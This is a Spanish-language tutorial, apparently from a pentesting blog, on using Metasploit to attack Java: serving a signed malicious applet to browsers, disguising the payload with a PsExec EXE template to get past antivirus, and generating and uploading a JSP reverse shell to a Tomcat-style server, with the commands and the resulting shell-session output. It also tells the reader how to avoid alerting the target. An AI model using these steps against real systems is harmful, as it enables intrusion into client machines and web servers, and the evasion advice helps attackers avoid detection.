METASPLOIT Y APPLETS DE JAVA.

MetaSploit tiene una serie de exploits diseñados para explotar determinadas vulnerabilidades sobre Applets de Java entre otras cosas, muchas de estas vulnerabilidades se encuentran ubicadas bajo

exploit/multi/browser/

Aquí encontramos algunos relacionados con la posibilidad de iniciar un servidor web con un applet malicioso que posteriormente nos permitirá obtener una consola del lado del cliente, un ejemplo seria el uso de un applet auto firmado, este exploit es: java_signed_applet

msf> use exploit/multi/browser/java_signed_applet

Con este exploit podemos especificar las opciones que son propias de casi todos los exploits, como LHOST, LPORT, PAYLOAD, etc. En este caso el payload especificado puede ser meterpreter o una consola normal, es posible que el objetivo tenga un antivirus instalado o algún tipo de protección que impida que nuestro applet se ejecute correctamente, para remediar esta situación, podemos utilizar una plantilla de EXE que sea valida para que el código no sea interpretado como malicioso, para esto utilizar pstools, que se trata de un conjunto de ejecutables que representan diferentes plantillas de ficheros ejecutables validos, lo podemos obtener desde

http://download.sysinternals.com/Files/PsTools.zip

una vez descargado podemos establecer la plantilla en el exploit, ejecutando:

msf exploit(java_signed_applet) > show advanced
Para ver las opciones avanzadas del exploit, aquí establecemos:
msf exploit(java_signed_applet) > set EXE::Template RUTA/PsExec.exe

tambien podemos especificar otras opciones interesantes como el nombre del applet, classpath, etc.
Para su ejecución basta con establecer estas opciones y posteriormente ejecutar el comando “exploit”. Con esto es suficiente para que se inicie un servicio de escucha en espera de que el cliente ejecute el applet.
Aunque aquí se ha indicado solamente un exploit para la explotación de una vulnerabilidad especifica de Java, bajo el directorio «exploit/multi/browser/» se hayan una serie de exploits que resultan bastante útiles y de un uso realmente sencillo, en una entrada anterior, se ha indicado el uso de KarmetaSploit, los exploits que utiliza son los que encuentran bajo este directorio ya que son validos para ejecutar ataques directamente contra la plataforma de un cliente que utiliza un navegador web para conectarse a cualquier sitio en internet, por lo tanto, se aconseja ver los exploits disponibles bajo esta categoria.

PAYLOAD JSP PARA COMPROMETER UN SERVIDOR WEB JAVA

Con el uso de msfpayload y el payload jsp/jsp_shell_reverse_tcp podemos conseguir una consola en la maquina objetivo con un servidor web instalado que soporte Java y JSP, consiste en la generación de un fichero jsp malicioso que debemos subir en un servidor web (esto es posible por medio de la explotación de una vulnerabilidad RFI o formularios de upload mal configurados) posteriormente solamente resta dejar el servicio de metasploit a la espera de una nueva conexión a dicho recurso, los pasos son los siguientes:

 1. Generación del fichero JSP malicioso:

msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.1.33 LPORT=8080 R > shell.jsp

2. Subir dicho fichero a un servidor web que soporte a Java y JSP, en el caso de un objetivo real, debemos investigar alguna forma de subir ficheros al servidor, para este fin se recomienda buscar vulnerabilidades del tipo XSS o file uploads mal configurados, sobre estos topicos hablaremos en una proxima entrada.

3. Usar el exploit multi/handler desde msfconsole, establecer el payload, definir las opciones obligatorias y explotar:

msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp

PAYLOAD => java/jsp_shell_reverse_tcp

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.33:8080

[*] Starting the payload handler…

4. Finalmente invocar desde un navegador web el recurso que hemos subido al servidor web objetivo, con esto deberíamos tener una salida similar a la siguiente:

[*] Started reverse handler on 192.168.1.33:8080

[*] Starting the payload handler…

[*] Command shell session 4 opened (192.168.1.33:8080 -> 192.168.1.34:1092) at Thu Mar 24 21:44:40 +0100 2011

De este modo se obtiene una consola en la maquina remota con un servidor web como Tomcat o cualquiera que soporte Java/JSP. Con el fin de localizar un servidor web Tomcat instalado en un segmento de red determinado, podemos usar el auxiliary: auxiliary/admin/http/tomcat_administration Como siempre, la precisión de un ataque y el daño que este puede infringir sobre un objetivo esta directamente relacionado con la cantidad de información que se puede obtener del objetivo, así que una vez más, las herramientas no lo son todo, si no ha habido una etapa de recolección de información lo suficientemente profunda, muy seguramente cualquier ataque contra un objetivo fallará y/o el mismo objetivo será alertado de la presencia del atacante, así que ante todo, sé prudente y definé una estrategia de ataque adecuada.